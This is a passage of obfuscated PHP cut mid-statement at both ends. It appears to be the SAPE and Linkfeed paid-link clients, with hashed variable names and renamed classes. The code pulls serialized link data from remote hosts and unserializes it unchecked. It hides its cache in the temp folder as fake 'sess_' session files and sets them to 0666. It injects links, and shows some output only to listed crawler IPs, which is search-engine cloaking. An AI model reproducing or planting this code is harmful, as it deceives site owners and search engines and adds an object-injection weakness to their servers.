", $_42da8ece6e679ca427b19d5bde6311f2); return $_65a5cb07f523d770ef64272e88fb2ade[1]; } } return $this->raise_error("Can not connect: " . $_c5ca48c198050fcecbcda6adb9be5755 . $_fec95a9136e65be848d0e5a9baa1a026 . ", type: " . $this->_e3f59c6a7591aa5ddf8ffcad11a32f10); } function _read($_528e583af620abe9b09bc99687a53983) { $_46c142fdacbd82e008523c5172951b83 = @fopen($_528e583af620abe9b09bc99687a53983, "rb"); @flock($_46c142fdacbd82e008523c5172951b83, LOCK_SH); if ($_46c142fdacbd82e008523c5172951b83) { clearstatcache(); $_98370b2ba444bb12eae6b2634e96283f = @filesize($_528e583af620abe9b09bc99687a53983); $_06de24df381a98ce5b6004f1edd85cd5 = @get_magic_quotes_runtime(); @set_magic_quotes_runtime(0); if ($_98370b2ba444bb12eae6b2634e96283f) { $_197d7053b1c8cf0aaa95a6d5ebfb1f86 = @fread($_46c142fdacbd82e008523c5172951b83, $_98370b2ba444bb12eae6b2634e96283f); } else { $_197d7053b1c8cf0aaa95a6d5ebfb1f86 = ''; } @set_magic_quotes_runtime($_06de24df381a98ce5b6004f1edd85cd5); @flock($_46c142fdacbd82e008523c5172951b83, LOCK_UN); @fclose($_46c142fdacbd82e008523c5172951b83); return base64_decode($_197d7053b1c8cf0aaa95a6d5ebfb1f86); } return $this->raise_error("Can not read: " . $_528e583af620abe9b09bc99687a53983); } function _write($_528e583af620abe9b09bc99687a53983, $_197d7053b1c8cf0aaa95a6d5ebfb1f86) { $_197d7053b1c8cf0aaa95a6d5ebfb1f86 = base64_encode($_197d7053b1c8cf0aaa95a6d5ebfb1f86); $_46c142fdacbd82e008523c5172951b83 = @fopen($_528e583af620abe9b09bc99687a53983, "ab"); if ($_46c142fdacbd82e008523c5172951b83) { if (flock($_46c142fdacbd82e008523c5172951b83, LOCK_EX | LOCK_NB)) { $_98370b2ba444bb12eae6b2634e96283f = strlen($_197d7053b1c8cf0aaa95a6d5ebfb1f86); ftruncate($_46c142fdacbd82e008523c5172951b83, 0); @fwrite($_46c142fdacbd82e008523c5172951b83, $_197d7053b1c8cf0aaa95a6d5ebfb1f86, $_98370b2ba444bb12eae6b2634e96283f); @flock($_46c142fdacbd82e008523c5172951b83, LOCK_UN); @fclose($_46c142fdacbd82e008523c5172951b83); if (md5(base64_encode($this->_read($_528e583af620abe9b09bc99687a53983))) != md5($_197d7053b1c8cf0aaa95a6d5ebfb1f86)) { @unlink($_528e583af620abe9b09bc99687a53983); return $this->raise_error("Data corrupt on write: " . $_528e583af620abe9b09bc99687a53983); } } else { return false; } return true; } return $this->raise_error("Can not write to file: " . $_528e583af620abe9b09bc99687a53983); } function raise_error($_326139222f844701d2e6f8a3a7c0e90c) { $this->_e560a528c0be926cfdd482ad2becbd00 = "<p style="color: red; font-weight: bold;">SAPE ERROR: " . $_326139222f844701d2e6f8a3a7c0e90c . "</p>"; if ($this->_e0b2eaf474e549af581b66dbdecbe39a == true) { print $this->_e560a528c0be926cfdd482ad2becbd00; } return false; } function load_data() { $this->_94fc644964dba82175ee6f79563ae420 = $this->_get_db_file(); if (!is_file($this->_94fc644964dba82175ee6f79563ae420)) { if (@touch($this->_94fc644964dba82175ee6f79563ae420)) { @chmod($this->_94fc644964dba82175ee6f79563ae420, 0666); } else { return $this->raise_error("File not found " . $this->_94fc644964dba82175ee6f79563ae420 . ". Create error. Set right 777 on folder."); } } if (!is_writable($this->_94fc644964dba82175ee6f79563ae420)) { return $this->raise_error("Can not access to write: " . $this->_94fc644964dba82175ee6f79563ae420 . "! Set right 777 on folder."); } @clearstatcache(); $_197d7053b1c8cf0aaa95a6d5ebfb1f86 = $this->_read($this->_94fc644964dba82175ee6f79563ae420); if ( $this->_7a1be16f1e03c1a610604404da4899e8 || ( !$this->_0abfbada9a727c8142555b80ed354842 && ( filemtime($this->_94fc644964dba82175ee6f79563ae420) < (time() - $this->_7ccf97f272383619357f1e7d15c95977) || filesize($this->_94fc644964dba82175ee6f79563ae420) == 0 || @unserialize($_197d7053b1c8cf0aaa95a6d5ebfb1f86) == false ) ) ) { @touch($this->_94fc644964dba82175ee6f79563ae420, (time() - $this->_7ccf97f272383619357f1e7d15c95977 + $this->_92dd9b3928f47aeee1541ece5901746a)); $_fec95a9136e65be848d0e5a9baa1a026 = $this->_get_dispenser_path(); if (strlen($this->_a87f8d1b25cc29947f1993c5cf92de0f)) { $_fec95a9136e65be848d0e5a9baa1a026 .= "&charset=" . $this->_a87f8d1b25cc29947f1993c5cf92de0f; } foreach ($this->_18f023555b8822c8125de886c40ae488 as $_82c748da630bcac51d74c00ce1714b63 => $_e0c3ba4486c1a6809fd38eba568a2b61) { if ($_197d7053b1c8cf0aaa95a6d5ebfb1f86 = $this->fetch_remote_file($_e0c3ba4486c1a6809fd38eba568a2b61, $_fec95a9136e65be848d0e5a9baa1a026)) { if (substr($_197d7053b1c8cf0aaa95a6d5ebfb1f86, 0, 12) == "FATAL ERROR:") { $this->raise_error($_197d7053b1c8cf0aaa95a6d5ebfb1f86); } else { $_ad00b403ae1b296c9aaad635ce71a62b = @unserialize($_197d7053b1c8cf0aaa95a6d5ebfb1f86); if ($_ad00b403ae1b296c9aaad635ce71a62b != false) { $_ad00b403ae1b296c9aaad635ce71a62b['__sape_charset__'] = $this->_a87f8d1b25cc29947f1993c5cf92de0f; $_ad00b403ae1b296c9aaad635ce71a62b['__last_update__'] = time(); $_ad00b403ae1b296c9aaad635ce71a62b['__multi_site__'] = $this->_6839940c4fa73fc945201975d439453c; $_ad00b403ae1b296c9aaad635ce71a62b['__fetch_remote_type__'] = $this->_e3f59c6a7591aa5ddf8ffcad11a32f10; $_ad00b403ae1b296c9aaad635ce71a62b['__ignore_case__'] = $this->_9911c2a20bec4b166b213864513d965f; $_ad00b403ae1b296c9aaad635ce71a62b['__php_version__'] = phpversion(); $_ad00b403ae1b296c9aaad635ce71a62b['__server_software__'] = $_SERVER['SERVER_SOFTWARE']; $_b4e8fc7632bba12908dceff17e14848d = @serialize($_ad00b403ae1b296c9aaad635ce71a62b); if ($_b4e8fc7632bba12908dceff17e14848d) { $_197d7053b1c8cf0aaa95a6d5ebfb1f86 = $_b4e8fc7632bba12908dceff17e14848d; } $this->_write($this->_94fc644964dba82175ee6f79563ae420, $_197d7053b1c8cf0aaa95a6d5ebfb1f86); break; } } } } } if (strlen(session_id())) { $_5140a7ac5493458429ea611984036837 = session_name() . "=" . session_id(); $this->_f63843cbc211f048ef2d165d75b58fea = str_replace(array("?" . $_5140a7ac5493458429ea611984036837, "&" . $_5140a7ac5493458429ea611984036837), '', $this->_f63843cbc211f048ef2d165d75b58fea); } $this->set_data(@unserialize($_197d7053b1c8cf0aaa95a6d5ebfb1f86)); } } class S_c_n extends S_b_n { var $_5911babfa9f7a11ef0fb694369e4b0fe = ''; var $_48bbb56cd4faf400bc4c23c00eabe50a = array(); var $_5d05575c44d19b0f97f49f6ca1fdcd21 = array(); var $_1d3a055f8a651f98198eabc4a72aecf1 = "SAPE_Client PHP"; function S_c_n($_8c878de914cd1035425174e52c152e84 = null) { parent::S_b_n($_8c878de914cd1035425174e52c152e84); $this->load_data(); } function return_links($_723157d07050d7ed9a1c0de95e7c21f9 = null, $_c73091ecb7e9528f900cf26857f662fe = 0) { if (is_array($this->_5d05575c44d19b0f97f49f6ca1fdcd21)) { $_598d5076fe09289ddb438474067838bd = count($this->_5d05575c44d19b0f97f49f6ca1fdcd21); if (!is_numeric($_723157d07050d7ed9a1c0de95e7c21f9) || $_723157d07050d7ed9a1c0de95e7c21f9 > $_598d5076fe09289ddb438474067838bd) { $_723157d07050d7ed9a1c0de95e7c21f9 = $_598d5076fe09289ddb438474067838bd; } $_e80776d760132e38a2e21e8010165c85 = array(); for ($_82c748da630bcac51d74c00ce1714b63 = 1; $_82c748da630bcac51d74c00ce1714b63 <= $_723157d07050d7ed9a1c0de95e7c21f9; $_82c748da630bcac51d74c00ce1714b63++) { if ($_c73091ecb7e9528f900cf26857f662fe > 0 && $_82c748da630bcac51d74c00ce1714b63 <= $_c73091ecb7e9528f900cf26857f662fe) { array_shift($this->_5d05575c44d19b0f97f49f6ca1fdcd21); } else { $_e80776d760132e38a2e21e8010165c85[] = array_shift($this->_5d05575c44d19b0f97f49f6ca1fdcd21); } } $_fef94e4a5bc075cdc8ddc332ae8679c4 = join($this->_5911babfa9f7a11ef0fb694369e4b0fe, $_e80776d760132e38a2e21e8010165c85); if ( strlen($this->_a87f8d1b25cc29947f1993c5cf92de0f) > 0 && strlen($this->_0cfdfbf34de439f14bd93b0e4390a952) > 0 && $this->_0cfdfbf34de439f14bd93b0e4390a952 != $this->_a87f8d1b25cc29947f1993c5cf92de0f && function_exists("iconv") ) { $_75cddcc5210d429d6c6d04195ffc9dd9 = @iconv($this->_0cfdfbf34de439f14bd93b0e4390a952, $this->_a87f8d1b25cc29947f1993c5cf92de0f, $_fef94e4a5bc075cdc8ddc332ae8679c4); if ($_75cddcc5210d429d6c6d04195ffc9dd9) { $_fef94e4a5bc075cdc8ddc332ae8679c4 = $_75cddcc5210d429d6c6d04195ffc9dd9; } } if ($this->_0abfbada9a727c8142555b80ed354842) { $_fef94e4a5bc075cdc8ddc332ae8679c4 = "<sape_noindex>" . $_fef94e4a5bc075cdc8ddc332ae8679c4 . "</sape_noindex>"; } } else { $_fef94e4a5bc075cdc8ddc332ae8679c4 = $this->_5d05575c44d19b0f97f49f6ca1fdcd21; } if ($this->_dfd8bf4841aa8724c96db91fe53f6f12) { $_fef94e4a5bc075cdc8ddc332ae8679c4 .= print_r($this, true); } return $_fef94e4a5bc075cdc8ddc332ae8679c4; } function _get_db_file() { return _TMPDIR . "/sess_s" . md5($this->_addcfa9179a80f2b3ea4f7b348bf63ad); } function _get_dispenser_path() { return "/code.php?user=" . SAPEUSR . "&host=" . $this->_addcfa9179a80f2b3ea4f7b348bf63ad; } function set_data($_197d7053b1c8cf0aaa95a6d5ebfb1f86) { if ($this->_9911c2a20bec4b166b213864513d965f) { $this->_48bbb56cd4faf400bc4c23c00eabe50a = array_change_key_case($_197d7053b1c8cf0aaa95a6d5ebfb1f86); } else { $this->_48bbb56cd4faf400bc4c23c00eabe50a = $_197d7053b1c8cf0aaa95a6d5ebfb1f86; } if (isset($this->_48bbb56cd4faf400bc4c23c00eabe50a['__sape_delimiter__'])) { $this->_5911babfa9f7a11ef0fb694369e4b0fe = $this->_48bbb56cd4faf400bc4c23c00eabe50a['__sape_delimiter__']; } if (isset($this->_48bbb56cd4faf400bc4c23c00eabe50a['__sape_charset__'])) { $this->_0cfdfbf34de439f14bd93b0e4390a952 = $this->_48bbb56cd4faf400bc4c23c00eabe50a['__sape_charset__']; } else { $this->_0cfdfbf34de439f14bd93b0e4390a952 = ''; } if (@array_key_exists($this->_f63843cbc211f048ef2d165d75b58fea, $this->_48bbb56cd4faf400bc4c23c00eabe50a) && is_array($this->_48bbb56cd4faf400bc4c23c00eabe50a[$this->_f63843cbc211f048ef2d165d75b58fea])) { $this->_5d05575c44d19b0f97f49f6ca1fdcd21 = $this->_48bbb56cd4faf400bc4c23c00eabe50a[$this->_f63843cbc211f048ef2d165d75b58fea]; } else { if (isset($this->_48bbb56cd4faf400bc4c23c00eabe50a['__sape_new_url__']) && strlen($this->_48bbb56cd4faf400bc4c23c00eabe50a['__sape_new_url__'])) { if ($this->_0abfbada9a727c8142555b80ed354842 || $this->_7192b15e253cec2ff35d6fff4b0403d5) { $this->_5d05575c44d19b0f97f49f6ca1fdcd21 = $this->_48bbb56cd4faf400bc4c23c00eabe50a['__sape_new_url__']; } } } } } class LfC_n { var $_c38ca4034b80d72824893b20c1ad7bdc = "0.4.1"; var $_b5d8feb9494835c9f28120d62a1c9d41 = false; var $_59833cac4a695ceff73348e829a6f4a3 = "DEFAULT"; var $_3eb24be6cb4c2658c1b3dd0c5360b2d1 = false; var $_02db54b9de91b801231261ed5c749dac = "db.linkfeed.ru"; var $_477c6bd519378f7ce8118085af25859e = 3600; var $_1343db5495a99932dee087fd0fc6b591 = 300; var $_bb978a1c2039d56cd12ffc8e0fac6a2d = ''; var $_f84a2c720eeba6c3e910d0e12a675680 = array(); var $_57f56d4b5d6dead05cdabce6adc7bf67 = array(); var $_45766da92d202808b7578e314620ccff = ''; var $_c3dd5a420425298ab8287badfeb24a48 = ''; var $_7bdc2e3311fdb6a0cf71e4aaa56b0509 = ''; var $_e4a7816f6c6797bd735e4b7b3250d7ff = ''; var $_ad51b1f33456cc32efe0d68d017dcdad = ''; var $_f5ba688396417ffaa767cf4ff06e8859 = 6; var $_a77137e909d360cf9ff7beaddd016fc3 = false; var $_7ea1861bdd7d3d7c7d6b081da8885a22 = false; var $_8e0ee7f53bedfae652495ebd91e46f24 = false; var $_2ce3d934c97409fb97dbb2aa442a0fd0 = false; function LfC_n($_8c878de914cd1035425174e52c152e84 = null) { $_c5ca48c198050fcecbcda6adb9be5755 = ''; if (is_array($_8c878de914cd1035425174e52c152e84)) { if (isset($_8c878de914cd1035425174e52c152e84['host'])) { $_c5ca48c198050fcecbcda6adb9be5755 = $_8c878de914cd1035425174e52c152e84['host']; } } elseif (strlen($_8c878de914cd1035425174e52c152e84) != 0) { $_c5ca48c198050fcecbcda6adb9be5755 = $_8c878de914cd1035425174e52c152e84; $_8c878de914cd1035425174e52c152e84 = array(); } else { $_8c878de914cd1035425174e52c152e84 = array(); } if (strlen($_c5ca48c198050fcecbcda6adb9be5755) != 0) { $this->_7bdc2e3311fdb6a0cf71e4aaa56b0509 = $_c5ca48c198050fcecbcda6adb9be5755; } else { $this->_7bdc2e3311fdb6a0cf71e4aaa56b0509 = $_SERVER['HTTP_HOST']; } $this->_7bdc2e3311fdb6a0cf71e4aaa56b0509 = preg_replace("{^https?://}i", '', $this->_7bdc2e3311fdb6a0cf71e4aaa56b0509); $this->_7bdc2e3311fdb6a0cf71e4aaa56b0509 = preg_replace("{^www\.}i", '', $this->_7bdc2e3311fdb6a0cf71e4aaa56b0509); $this->_7bdc2e3311fdb6a0cf71e4aaa56b0509 = strtolower( $this->_7bdc2e3311fdb6a0cf71e4aaa56b0509); if (isset($_8c878de914cd1035425174e52c152e84['is_static']) && $_8c878de914cd1035425174e52c152e84['is_static']) { $this->_8e0ee7f53bedfae652495ebd91e46f24 = true; } if (isset($_8c878de914cd1035425174e52c152e84['ignore_tailslash']) && $_8c878de914cd1035425174e52c152e84['ignore_tailslash']) { $this->_2ce3d934c97409fb97dbb2aa442a0fd0 = true; } if (isset($_8c878de914cd1035425174e52c152e84['request_uri']) && strlen($_8c878de914cd1035425174e52c152e84['request_uri']) != 0) { $this->_e4a7816f6c6797bd735e4b7b3250d7ff = $_8c878de914cd1035425174e52c152e84['request_uri']; } else { if ($this->_8e0ee7f53bedfae652495ebd91e46f24) { $this->_e4a7816f6c6797bd735e4b7b3250d7ff = preg_replace( "{\?.*$}", '', $_SERVER['REQUEST_URI']); $this->_e4a7816f6c6797bd735e4b7b3250d7ff = preg_replace( "{/+}", "/", $this->_e4a7816f6c6797bd735e4b7b3250d7ff); } else { $this->_e4a7816f6c6797bd735e4b7b3250d7ff = $_SERVER['REQUEST_URI']; } } $this->_e4a7816f6c6797bd735e4b7b3250d7ff = rawurldecode($this->_e4a7816f6c6797bd735e4b7b3250d7ff); if (isset($_8c878de914cd1035425174e52c152e84['multi_site']) && $_8c878de914cd1035425174e52c152e84['multi_site'] == true) { $this->_7ea1861bdd7d3d7c7d6b081da8885a22 = true; } if ((isset($_8c878de914cd1035425174e52c152e84['verbose']) && $_8c878de914cd1035425174e52c152e84['verbose']) || isset($this->_f84a2c720eeba6c3e910d0e12a675680['__linkfeed_debug__'])) { $this->_b5d8feb9494835c9f28120d62a1c9d41 = true; } if (isset($_8c878de914cd1035425174e52c152e84['charset']) && strlen($_8c878de914cd1035425174e52c152e84['charset']) != 0) { $this->_59833cac4a695ceff73348e829a6f4a3 = $_8c878de914cd1035425174e52c152e84['charset']; } if (isset($_8c878de914cd1035425174e52c152e84['fetch_remote_type']) && strlen($_8c878de914cd1035425174e52c152e84['fetch_remote_type']) != 0) { $this->_ad51b1f33456cc32efe0d68d017dcdad = $_8c878de914cd1035425174e52c152e84['fetch_remote_type']; } if (isset($_8c878de914cd1035425174e52c152e84['socket_timeout']) && is_numeric($_8c878de914cd1035425174e52c152e84['socket_timeout']) && $_8c878de914cd1035425174e52c152e84['socket_timeout'] > 0) { $this->_f5ba688396417ffaa767cf4ff06e8859 = $_8c878de914cd1035425174e52c152e84['socket_timeout']; } if ((isset($_8c878de914cd1035425174e52c152e84['force_show_code']) && $_8c878de914cd1035425174e52c152e84['force_show_code']) || isset($this->_f84a2c720eeba6c3e910d0e12a675680['__linkfeed_debug__'])) { $this->_a77137e909d360cf9ff7beaddd016fc3 = true; } else if (file_exists( _TMPDIR . "/sess_fc.log")) { $this->_a77137e909d360cf9ff7beaddd016fc3 = true; } if (!defined("LINKFEEDUSR")) { return $this->raise_error("Constant LINKFEEDUSR is not defined."); } $this->load_links(); } function load_links() { $this->_bb978a1c2039d56cd12ffc8e0fac6a2d = _TMPDIR . "/sess_l" . md5($this->_7bdc2e3311fdb6a0cf71e4aaa56b0509); if (!is_file($this->_bb978a1c2039d56cd12ffc8e0fac6a2d)) { if (@touch($this->_bb978a1c2039d56cd12ffc8e0fac6a2d, time() - $this->_477c6bd519378f7ce8118085af25859e)) { @chmod($this->_bb978a1c2039d56cd12ffc8e0fac6a2d, 0666); } else { return $this->raise_error("There is no file " . $this->_bb978a1c2039d56cd12ffc8e0fac6a2d . ". Fail to create. Set mode to 777 on the folder."); } } if (!is_writable($this->_bb978a1c2039d56cd12ffc8e0fac6a2d)) { return $this->raise_error("There is no permissions to write: " . $this->_bb978a1c2039d56cd12ffc8e0fac6a2d . "! Set mode to 777 on the folder."); } @clearstatcache(); if (filemtime($this->_bb978a1c2039d56cd12ffc8e0fac6a2d) < (time()-$this->_477c6bd519378f7ce8118085af25859e) || (filemtime($this->_bb978a1c2039d56cd12ffc8e0fac6a2d) < (time()-$this->_1343db5495a99932dee087fd0fc6b591) && filesize($this->_bb978a1c2039d56cd12ffc8e0fac6a2d) == 0)) { @touch($this->_bb978a1c2039d56cd12ffc8e0fac6a2d, time()); $_fec95a9136e65be848d0e5a9baa1a026 = "/" . LINKFEEDUSR . "/" . strtolower( $this->_7bdc2e3311fdb6a0cf71e4aaa56b0509 ) . "/" . strtoupper( $this->_59833cac4a695ceff73348e829a6f4a3); if ($_e80776d760132e38a2e21e8010165c85 = $this->fetch_remote_file($this->_02db54b9de91b801231261ed5c749dac, $_fec95a9136e65be848d0e5a9baa1a026)) { if (substr($_e80776d760132e38a2e21e8010165c85, 0, 12) == "FATAL ERROR:") { $this->raise_error($_e80776d760132e38a2e21e8010165c85); } else if (@unserialize($_e80776d760132e38a2e21e8010165c85) !== false) { $this->lc_write($this->_bb978a1c2039d56cd12ffc8e0fac6a2d, $_e80776d760132e38a2e21e8010165c85); } else { $this->raise_error("Cann't unserialize received data."); } } } $_e80776d760132e38a2e21e8010165c85 = $this->lc_read($this->_bb978a1c2039d56cd12ffc8e0fac6a2d); $this->_342103c9b5b8de8054349ae624f7e6f7 = gmstrftime ("%d.%m.%Y %H:%M:%S",filectime($this->_bb978a1c2039d56cd12ffc8e0fac6a2d)); $this->_0a696981de54099d2778d298578ab029 = strlen( $_e80776d760132e38a2e21e8010165c85); if (!$_e80776d760132e38a2e21e8010165c85) { $this->_f84a2c720eeba6c3e910d0e12a675680 = array(); $this->raise_error("Empty file."); } else if (!$this->_f84a2c720eeba6c3e910d0e12a675680 = @unserialize($_e80776d760132e38a2e21e8010165c85)) { $this->_f84a2c720eeba6c3e910d0e12a675680 = array(); $this->raise_error("Cann't unserialize data from file."); } if (isset($this->_f84a2c720eeba6c3e910d0e12a675680['__linkfeed_delimiter__'])) { $this->_45766da92d202808b7578e314620ccff = $this->_f84a2c720eeba6c3e910d0e12a675680['__linkfeed_delimiter__']; } $_7ca99c7224c27c4fa5b0c6738755d4d1=array(); foreach($this->_f84a2c720eeba6c3e910d0e12a675680 as $_acaa517f82eb72286b15468b4c0e5d4b=>$_563dae3450fffa16b641eb2c30a07c65){ $_7ca99c7224c27c4fa5b0c6738755d4d1[rawurldecode($_acaa517f82eb72286b15468b4c0e5d4b)]=$_563dae3450fffa16b641eb2c30a07c65; } $this->_f84a2c720eeba6c3e910d0e12a675680=$_7ca99c7224c27c4fa5b0c6738755d4d1; if ($this->_2ce3d934c97409fb97dbb2aa442a0fd0 && $this->_e4a7816f6c6797bd735e4b7b3250d7ff[strlen($this->_e4a7816f6c6797bd735e4b7b3250d7ff)-1]=="/") $this->_e4a7816f6c6797bd735e4b7b3250d7ff=substr($this->_e4a7816f6c6797bd735e4b7b3250d7ff,0,-1); $this->_57f56d4b5d6dead05cdabce6adc7bf67=array(); if (array_key_exists($this->_e4a7816f6c6797bd735e4b7b3250d7ff, $this->_f84a2c720eeba6c3e910d0e12a675680) && is_array($this->_f84a2c720eeba6c3e910d0e12a675680[$this->_e4a7816f6c6797bd735e4b7b3250d7ff])) { $this->_57f56d4b5d6dead05cdabce6adc7bf67 = array_merge($this->_57f56d4b5d6dead05cdabce6adc7bf67, $this->_f84a2c720eeba6c3e910d0e12a675680[$this->_e4a7816f6c6797bd735e4b7b3250d7ff]); } if ($this->_2ce3d934c97409fb97dbb2aa442a0fd0 && array_key_exists($this->_e4a7816f6c6797bd735e4b7b3250d7ff."/", $this->_f84a2c720eeba6c3e910d0e12a675680) && is_array($this->_f84a2c720eeba6c3e910d0e12a675680[$this->_e4a7816f6c6797bd735e4b7b3250d7ff."/"])) { $this->_57f56d4b5d6dead05cdabce6adc7bf67 =array_merge($this->_57f56d4b5d6dead05cdabce6adc7bf67, $this->_f84a2c720eeba6c3e910d0e12a675680[$this->_e4a7816f6c6797bd735e4b7b3250d7ff."/"]); } $this->_5bfd932f3eb1442ef62a54b2ffc606a6 = count($this->_57f56d4b5d6dead05cdabce6adc7bf67); } function return_links($_723157d07050d7ed9a1c0de95e7c21f9 = null) { $_6d50271697e85a4284677da36e40052d = ''; if (isset($this->_f84a2c720eeba6c3e910d0e12a675680['__linkfeed_start__']) && strlen($this->_f84a2c720eeba6c3e910d0e12a675680['__linkfeed_start__']) != 0 && (in_array($_SERVER['REMOTE_ADDR'], $this->_f84a2c720eeba6c3e910d0e12a675680['__linkfeed_robots__']) || $this->_a77137e909d360cf9ff7beaddd016fc3) ) { $_6d50271697e85a4284677da36e40052d .= $this->_f84a2c720eeba6c3e910d0e12a675680['__linkfeed_start__']; } if (isset($this->_f84a2c720eeba6c3e910d0e12a675680['__linkfeed_robots__']) && in_array($_SERVER['REMOTE_ADDR'], $this->_f84a2c720eeba6c3e910d0e12a675680['__linkfeed_robots__']) || $this->_b5d8feb9494835c9f28120d62a1c9d41) { if ($this->_c3dd5a420425298ab8287badfeb24a48 != '') { $_6d50271697e85a4284677da36e40052d .= $this->_c3dd5a420425298ab8287badfeb24a48; } $_6d50271697e85a4284677da36e40052d .= "<!--REQUEST_URI=" . $_SERVER['REQUEST_URI'] . "-->
"; $_6d50271697e85a4284677da36e40052d .= "
<!--
"; $_6d50271697e85a4284677da36e40052d .= "L " . $this->_c38ca4034b80d72824893b20c1ad7bdc . "
"; $_6d50271697e85a4284677da36e40052d .= "REMOTE_ADDR=" . $_SERVER['REMOTE_ADDR'] . "
"; $_6d50271697e85a4284677da36e40052d .= "request_uri=" . $this->_e4a7816f6c6797bd735e4b7b3250d7ff . "
"; $_6d50271697e85a4284677da36e40052d .= "charset=" . $this->_59833cac4a695ceff73348e829a6f4a3 . "
"; $_6d50271697e85a4284677da36e40052d .= "is_static=" . $this->_8e0ee7f53bedfae652495ebd91e46f24 . "
"; $_6d50271697e85a4284677da36e40052d .= "multi_site=" . $this->_7ea1861bdd7d3d7c7d6b081da8885a22 . "
"; $_6d50271697e85a4284677da36e40052d .= "file change date=" . $this->_342103c9b5b8de8054349ae624f7e6f7 . "
"; $_6d50271697e85a4284677da36e40052d .= "lc_file_size=" . $this->_0a696981de54099d2778d298578ab029 . "
"; $_6d50271697e85a4284677da36e40052d .= "lc_links_count=" . $this->_5bfd932f3eb1442ef62a54b2ffc606a6 . "
"; $_6d50271697e85a4284677da36e40052d .= "left_links_count=" . count($this->_57f56d4b5d6dead05cdabce6adc7bf67) . "
"; $_6d50271697e85a4284677da36e40052d .= "n=" . $_723157d07050d7ed9a1c0de95e7c21f9 . "
"; $_6d50271697e85a4284677da36e40052d .= "-->"; } if (is_array($this->_57f56d4b5d6dead05cdabce6adc7bf67)) { $_598d5076fe09289ddb438474067838bd = count($this->_57f56d4b5d6dead05cdabce6adc7bf67); if (!is_numeric($_723157d07050d7ed9a1c0de95e7c21f9) || $_723157d07050d7ed9a1c0de95e7c21f9 > $_598d5076fe09289ddb438474067838bd) { $_723157d07050d7ed9a1c0de95e7c21f9 = $_598d5076fe09289ddb438474067838bd; } $_e80776d760132e38a2e21e8010165c85 = array(); for ($_82c748da630bcac51d74c00ce1714b63 = 0; $_82c748da630bcac51d74c00ce1714b63 < $_723157d07050d7ed9a1c0de95e7c21f9; $_82c748da630bcac51d74c00ce1714b63++) { $_e80776d760132e38a2e21e8010165c85[] = array_shift($this->_57f56d4b5d6dead05cdabce6adc7bf67); } if ( count($_e80776d760132e38a2e21e8010165c85) > 0 && isset($this->_f84a2c720eeba6c3e910d0e12a675680['__linkfeed_before_text__']) ) { $_6d50271697e85a4284677da36e40052d .= $this->_f84a2c720eeba6c3e910d0e12a675680['__linkfeed_before_text__']; } $_6d50271697e85a4284677da36e40052d .= implode($this->_45766da92d202808b7578e314620ccff, $_e80776d760132e38a2e21e8010165c85); if ( count($_e80776d760132e38a2e21e8010165c85) > 0 && isset($this->_f84a2c720eeba6c3e910d0e12a675680['__linkfeed_after_text__']) ) { $_6d50271697e85a4284677da36e40052d .= $this->_f84a2c720eeba6c3e910d0e12a675680['__linkfeed_after_text__']; } } if (isset($this->_f84a2c720eeba6c3e910d0e12a675680['__linkfeed_end__']) && strlen($this->_f84a2c720eeba6c3e910d0e12a675680['__linkfeed_end__']) != 0 && (in_array($_SERVER['REMOTE_ADDR'], $this->_f84a2c720eeba6c3e910d0e12a675680['__linkfeed_robots__']) || $this->_a77137e909d360cf9ff7beaddd016fc3) ) { $_6d50271697e85a4284677da36e40052d .= $this->_f84a2c720eeba6c3e910d0e12a675680['__linkfeed_end__']; } return $_6d50271697e85a4284677da36e40052d; } function fetch_remote_file($_c5ca48c198050fcecbcda6adb9be5755, $_fec95a9136e65be848d0e5a9baa1a026) { $_49ad8d6fd98b0df39bcfaa99107ee623 = "Linkfeed Client PHP " . $this->_c38ca4034b80d72824893b20c1ad7bdc; @ini_set("allow_url_fopen", 1); @ini_set("default_socket_timeout", $this->_f5ba688396417ffaa767cf4ff06e8859); @ini_set("user_agent", $_49ad8d6fd98b0df39bcfaa99107ee623); if ( $this->_ad51b1f33456cc32efe0d68d017dcdad == "file_get_contents" || ( $this->_ad51b1f33456cc32efe0d68d017dcdad == '' && function_exists("file_get_contents") && ini_get("allow_url_fopen") == 1 ) ) { if ($_197d7053b1c8cf0aaa95a6d5ebfb1f86 = @file_get_contents("http://" . $_c5ca48c198050fcecbcda6adb9be5755 . $_fec95a9136e65be848d0e5a9baa1a026)) { return $_197d7053b1c8cf0aaa95a6d5ebfb1f86; } } elseif ( $this->_ad51b1f33456cc32efe0d68d017dcdad == "curl" || ( $this->_ad51b1f33456cc32efe0d68d017dcdad == '' && function_exists("curl_init") ) ) { if ($_bfc60a717f4be47369df0dd31b551623 = @curl_init()) { @curl_setopt($_bfc60a717f4be47369df0dd31b551623, CURLOPT_URL, "http://" . $_c5ca48c198050fcecbcda6adb9be5755 . $_fec95a9136e65be848d0e5a9baa1a026); @curl_setopt($_bfc60a717f4be47369df0dd31b551623, CURLOPT_HEADER, false); @curl_setopt($_bfc60a717f4be47369df0dd31b551623, CURLOPT_RETURNTRANSFER, true); @curl_setopt($_bfc60a717f4be47369df0dd31b551623, CURLOPT_CONNECTTIMEOUT, $this->_f5ba688396417ffaa767cf4ff06e8859); @curl_setopt($_bfc60a717f4be47369df0dd31b551623, CURLOPT_USERAGENT, $_49ad8d6fd98b0df39bcfaa99107ee623); if ($_197d7053b1c8cf0aaa95a6d5ebfb1f86 = @curl_exec($_bfc60a717f4be47369df0dd31b551623)) { return $_197d7053b1c8cf0aaa95a6d5ebfb1f86; } @curl_close($_bfc60a717f4be47369df0dd31b551623); } } else { $_42da8ece6e679ca427b19d5bde6311f2 = ''; $_46c142fdacbd82e008523c5172951b83 = @fsockopen($_c5ca48c198050fcecbcda6adb9be5755, 80, $_79ebf8bb554715dd0e929a0f5eab4540, $_78ed0cdf8c3550ceda734fe8c4e5bd85, $this->_f5ba688396417ffaa767cf4ff06e8859); if ($_46c142fdacbd82e008523c5172951b83) { @fputs($_46c142fdacbd82e008523c5172951b83, "GET {$_fec95a9136e65be848d0e5a9baa1a026} HTTP/1.0
Host: {$_c5ca48c198050fcecbcda6adb9be5755}
"); @fputs($_46c142fdacbd82e008523c5172951b83, "User-Agent: {$_49ad8d6fd98b0df39bcfaa99107ee623}

"); while (!@feof($_46c142fdacbd82e008523c5172951b83)) { $_42da8ece6e679ca427b19d5bde6311f2 .= @fgets($_46c142fdacbd82e008523c5172951b83, 128); } @fclose($_46c142fdacbd82e008523c5172951b83); $_65a5cb07f523d770ef64272e88fb2ade = explode("

